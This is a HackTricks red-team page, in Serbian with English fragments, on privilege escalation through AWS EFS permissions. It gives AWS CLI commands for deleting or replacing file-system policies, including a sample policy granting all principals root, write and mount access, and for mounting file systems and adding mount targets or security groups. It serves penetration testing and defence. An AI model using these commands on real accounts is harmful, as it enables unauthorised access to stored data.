AWS - EFS Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

EFS

Više informacija o EFS u:

AWS - EFS Enum

Imajte na umu da, da biste mount-ovali EFS, morate biti u subnetwork-u gde je EFS izložen i imati pristup njemu (security groups). Ako je to slučaj, podrazumevano ćete uvek moći da ga mount-ujete, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatna dozvoljenja pomenuta ovde da biste mu pristupili.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Sa bilo kojom od tih dozvola napadač može promeniti politiku file sistema da bi vam dao pristup njemu, ili je jednostavno obrisati tako da se podrazumevani pristup omogući.

Za brisanje politike:

aws efs delete-file-system-policy \
--file-system-id <value>

Da biste to promenili:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Sa ovom dozvolom attacker će moći da mount the EFS. Ako write permission nije dodeljena podrazumevano svima koji mogu da mount the EFS, on će imati samo read access.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Dodatna ovlašćenja elasticfilesystem:ClientRootAccess i elasticfilesystem:ClientWrite mogu se koristiti za pisanje unutar fajl sistema nakon što je montiran i za pristup tom fajl sistemu kao root.

Potencijalni uticaj: Neizravan privesc pronalaženjem osetljivih informacija u fajl sistemu.

elasticfilesystem:CreateMountTarget

Ako se napadač nalazi u podmreži gde ne postoji mount target za EFS, može jednostavno kreirati jedan u svojoj podmreži sa ovom privilegijom:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potential Impact: Indirect privesc pronalaženjem osetljivih informacija u fajl sistemu.

elasticfilesystem:ModifyMountTargetSecurityGroups

U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali nijedna security group ne dozvoljava saobraćaj, mogao bi jednostavno to promeniti modifikujući izabrane security groups:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potencijalni uticaj: Indirektan privesc pronalaženjem osetljivih informacija u datotečnom sistemu.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks